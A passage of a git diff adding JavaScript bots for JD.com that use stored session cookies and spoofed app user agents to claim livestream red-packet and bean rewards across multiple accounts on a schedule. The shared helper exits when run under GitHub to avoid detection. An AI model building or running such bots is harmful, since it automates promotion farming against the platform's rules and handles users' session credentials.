JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_live_redrain.js b/jd_live_redrain.js new file mode 100644 index 0000000..009b460 --- /dev/null +++ b/jd_live_redrain.js @@ -0,0 +1,356 @@ +/* +超级直播间红包雨 +更新时间:2021-06-24 +下一场超级直播间时间:06月25日 20:00,直播间地址:https://h5.m.jd.com/dev/3pbY8ZuCx4ML99uttZKLHC2QcAMn/live.html?id=4515551 +脚本兼容: Quantumult X, Surge, Loon, JSBox, Node.js +==============Quantumult X============== +[task_local] +#超级直播间红包雨 +0,30 0-23/1 * * * jd_live_redrain.js, tag=超级直播间红包雨, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true +==============Loon============== +[Script] +cron "0,30 0-23/1 * * *" script-path=jd_live_redrain.js,tag=超级直播间红包雨 +================Surge=============== +超级直播间红包雨 = type=cron,cronexp="0,30 0-23/1 * * *",wake-system=1,timeout=3600,script-path=jd_live_redrain.js +===============小火箭========== +超级直播间红包雨 = type=cron,script-path=jd_live_redrain.js, cronexpr="0,30 0-23/1 * * *", timeout=3600, enable=true +*/ +const $ = new Env('超级直播间红包雨'); +let allMessage = '', id = 'RRA2cUocg5uYEyuKpWNdh4qE4NW1bN2'; +let bodyList = {"6":{"url":"https://api.m.jd.com/client.action?functionId=liveActivityV946&uuid=8888888&client=apple&clientVersion=9.4.1&st=1625294597071&sign=55a8f9c9bc715d89fb3e4443b80d8f26&sv=111","body":"body=%7B%22liveId%22%3A%224586031%22%7D"}} +let ids = {} +for (let i = 0; i < 24; i++) { + ids[i] = id; +} +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', message; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; + if (JSON.stringify(process.env).indexOf('GITHUB') > -1) process.exit(0) +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +const JD_API_HOST = 'https://api.m.jd.com/api'; +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/', {"open-url": "https://bean.m.jd.com/"}); + return; + } + console.log('下一场超级直播间时间:06月25日 20:00,直播间地址:https://h5.m.jd.com/dev/3pbY8ZuCx4ML99uttZKLHC2QcAMn/live.html?id=4508223') + $.newAcids = []; + await getRedRain(); + + let nowTs = new Date().getTime() + if (!($.st <= nowTs && nowTs < $.ed)) { + $.log(`\n远程红包雨配置获取错误,尝试从本地读取配置`); + $.http.get({url: `https://purge.jsdelivr.net/gh/gitupdate/updateTeam@master/redrain.json`}).then((resp) => {}).catch((e) => $.log('刷新CDN异常', e)); + let hour = (new Date().getUTCHours() + 8) % 24; + let redIds = await getRedRainIds(); + if (!redIds) redIds = await getRedRainIds('https://cdn.jsdelivr.net/gh/gitupdate/updateTeam@master/redrain.json'); + $.newAcids = [...(redIds || [])]; + if ($.newAcids && $.newAcids.length) { + $.log(`本地红包雨配置获取成功,ID为:${JSON.stringify($.newAcids)}\n`) + } else { + $.log(`无法从本地读取配置,请检查运行时间(注:非红包雨时间执行出现此提示请忽略!!!!!!!!!!!)`) + return + } + // if (ids[hour]) { + // $.activityId = ids[hour] + // $.log(`本地红包雨配置获取成功,ID为:${$.activityId}\n`) + // } else { + // $.log(`无法从本地读取配置,请检查运行时间(注:非红包雨时间执行出现此提示请忽略!!!!!!!!!!!)`) + // $.log(`非红包雨期间出现上面提示请忽略。红包雨期间会正常,此脚本提issue打死!!!!!!!!!!!)`) + // return + // } + } else { + $.log(`远程红包雨配置获取成功`) + } + for (let id of $.newAcids) { + // $.activityId = id; + if (!id) continue; + console.log(`\n今日${new Date().getHours()}点ID:${id + }\n`); + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + message = ''; + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/`, {"open-url": "https://bean.m.jd.com/"}); + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + let nowTs = new Date().getTime() + new Date().getTimezoneOffset() * 60 * 1000 + 8 * 60 * 60 * 1000 + // console.log(nowTs, $.startTime, $.endTime) + // await showMsg(); + if (id) await receiveRedRain(id); + } + } + } + if (allMessage) { + if ($.isNode()) await notify.sendNotify(`${$.name}`, `${allMessage}`); + $.msg($.name, '', allMessage); + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +function showMsg() { + return new Promise(resolve => { + $.msg($.name, '', `【京东账号${$.index}】${$.nickName}\n${message}`); + resolve() + }) +} + +function getRedRain() { + let body + if (bodyList.hasOwnProperty(new Date().getDate())) { + body = bodyList[new Date().getDate()] + } else { + return + } + return new Promise(resolve => { + $.post(taskGetUrl(body.url, body.body), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.data && data.data.iconArea) { + // console.log(data.data.iconArea.filter(vo => vo['type'] === 'anchor_darw_lottery').length && data.data.iconArea.filter(vo => vo['type'] === 'anchor_darw_lottery')[0].data.lotteryId) + let act = data.data.iconArea.filter(vo => vo['type'] === "platform_red_packege_rain")[0] + if (act) { + let url = act.data.activityUrl + $.activityId = url.substr(url.indexOf("id=") + 3); + $.newAcids.push($.activityId); + $.st = act.startTime + $.ed = act.endTime + console.log($.activityId) + + console.log(`下一场红包雨开始时间:${new Date($.st)}`) + console.log(`下一场红包雨结束时间:${new Date($.ed)}`) + } else { + console.log(`\n暂无超级直播间红包雨`) + } + } else { + console.log(`\n暂无超级直播间红包雨`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function receiveRedRain(actId) { + return new Promise(resolve => { + const body = { actId }; + $.get(taskUrl('noahRedRainLottery', body), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.subCode === '0') { + console.log(`领取成功,获得${JSON.stringify(data.lotteryResult)}`) + // message+= `领取成功,获得${JSON.stringify(data.lotteryResult)}\n` + message += `领取成功,获得 ${(data.lotteryResult.jPeasList[0].quantity)}京豆` + allMessage += `京东账号${$.index}${$.nickName || $.UserName}\n领取成功,获得 ${(data.lotteryResult.jPeasList[0].quantity)}京豆${$.index !== cookiesArr.length ? '\n\n' : ''}`; + } else if (data.subCode === '8') { + console.log(`领取失败:本场已领过`) + message += `领取失败,本场已领过`; + } else { + console.log(`异常:${JSON.stringify(data)}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function taskGetUrl(url, body) { + return { + url: url, + body: body, + headers: { + "Accept": "*/*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Content-Type": "application/x-www-form-urlencoded", + "Host": "api.m.jd.com", + "Referer": `https://h5.m.jd.com/active/redrain/index.html?id=${$.activityId}&lng=0.000000&lat=0.000000&sid=&un_area=`, + "Cookie": cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } +} + +function taskPostUrl(function_id, body = body) { + return { + url: `https://api.m.jd.com/client.action?functionId=${function_id}`, + body: body, + headers: { + 'Host': 'api.m.jd.com', + 'content-type': 'application/x-www-form-urlencoded', + 'accept': '*/*', + 'user-agent': 'JD4iPhone/167408 (iPhone; iOS 14.2; Scale/3.00)', + 'accept-language': 'zh-Hans-JP;q=1, en-JP;q=0.9, zh-Hant-TW;q=0.8, ja-JP;q=0.7, en-US;q=0.6', + //"Cookie": cookie, + } + } +} + +function taskUrl(function_id, body = {}) { + return { + url: `${JD_API_HOST}?functionId=${function_id}&body=${escape(JSON.stringify(body))}&client=wh5&clientVersion=1.0.0&_=${new Date().getTime() + new Date().getTimezoneOffset() * 60 * 1000 + 8 * 60 * 60 * 1000}`, + headers: { + "Accept": "*/*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Content-Type": "application/x-www-form-urlencoded", + "Host": "api.m.jd.com", + "Referer": `https://h5.m.jd.com/active/redrain/index.html?id=${$.activityId}&lng=0.000000&lat=0.000000&sid=&un_area=`, + "Cookie": cookie, + "User-Agent": "JD4iPhone/9.4.5 CFNetwork/1209 Darwin/20.2.0" + } + } +} + +function getRedRainIds(url = "https://raw.githubusercontent.com/gitupdate/updateTeam/master/redrain.json") { + return new Promise(async resolve => { + const options = { + url: `${url}?${new Date()}`, "timeout": 10000, headers: { + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88" + } + }; + if ($.isNode() && process.env.TG_PROXY_HOST && process.env.TG_PROXY_PORT) { + const tunnel = require("tunnel"); + const agent = { + https: tunnel.httpsOverHttp({ + proxy: { + host: process.env.TG_PROXY_HOST, + port: process.env.TG_PROXY_PORT * 1 + } + }) + } + Object.assign(options, { agent }) + } + $.get(options, async (err, resp, data) => { + try { + if (err) { + } else { + if (data) data = JSON.parse(data) + } + } catch (e) { + // $.logErr(e, resp) + } finally { + resolve(data); + } + }) + await $.wait(10000) + resolve([]); + }) +} + +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '不要在BoxJS手动复制粘贴修改cookie') + return []; + } + } +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_ljd_xh.js b/jd_ljd_xh.js new file mode 100644 index 0000000..50a7f3e --- /dev/null +++ b/jd_ljd_xh.js @@ -0,0 +1,390 @@ +/* + * 领京豆,修复死循环 + * By X1a0He + * https://github.com/X1a0He/jd_scripts_fixed + * */ +const $ = new Env("领京豆"); +const jdCookieNode = $.isNode() ? require("./jdCookie.js") : ""; +const notify = $.isNode() ? require('./sendNotify') : ''; +let cookiesArr = [], cookie = "", message = ``; +$.taskInfos = []; +$.viewAppHome = false; +$.isLogin = true; +$.addedGrowth = 0; +if($.isNode()){ + Object.keys(jdCookieNode).forEach((item) => {cookiesArr.push(jdCookieNode[item]);}); + if(process.env.JD_DEBUG && process.env.JD_DEBUG === "false") console.log = () => {}; +} else cookiesArr = [$.getdata("CookieJD"), $.getdata("CookieJD2"), ...$.toObj($.getdata("CookiesJD") || "[]").map((item) => item.cookie),].filter((item) => !!item); +!(async() => { + if(!cookiesArr[0]){ + $.msg($.name, "【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取", "https://bean.m.jd.com/", { "open-url": "https://bean.m.jd.com/" }); + return; + } + for(let i = 0; i < cookiesArr.length; i++){ + if(cookiesArr[i]){ + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + $.index = i + 1; + message += `[京东账号${$.index} ${$.UserName}] \n`; + console.log(`[京东账号${$.index} ${$.UserName}] 正在执行...`); + await main(); + message += `\n` + await $.wait(1000); + } + } + if($.isNode()){ + console.log('正在发送通知...') + await notify.sendNotify(`${$.name}`, `${message}`) + } +})().catch((e) => { + $.log("", `❌ ${$.name}, 失败! 原因: ${e}!`, ""); +}).finally(() => { + $.done(); +}); + +function taskUrl_xh(functionId, body){ + return { + "url": `https://api.m.jd.com/client.action?functionId=${functionId}&body=${encodeURIComponent(body)}&appid=ld&client=m&clientVersion=9.4.4`, + 'headers': { + 'Cookie': cookie, + 'UserAgent': 'User-Agent: jdapp;JD4iPhone/167724 (iPhone; iOS 15.0; Scale/3.00)', + }, + } +} + +async function main(){ + $.addedGrowth = 0; + $.isLogin = true; + // 先领取早起福利 + console.log(`尝试领取早起福利...`) + await taskRequest("morningGetBean", `{"fp":"-1","shshshfp":"-1","shshshfpa":"-1","referUrl":"-1","userAgent":"-1","jda":"-1","rnVersion":"3.9"}`) + // 获取任务列表 + if($.isLogin){ + do { + $.taskInfos = [] + await taskRequest("beanTaskList", `{"viewChannel":"AppHome"}`) + // 获取完任务列表就开始做任务了 + for(let task of $.taskInfos){ + // 任务未完成 + if(task.status === 1){ + for(let subTask of task.subTaskVOS){ + 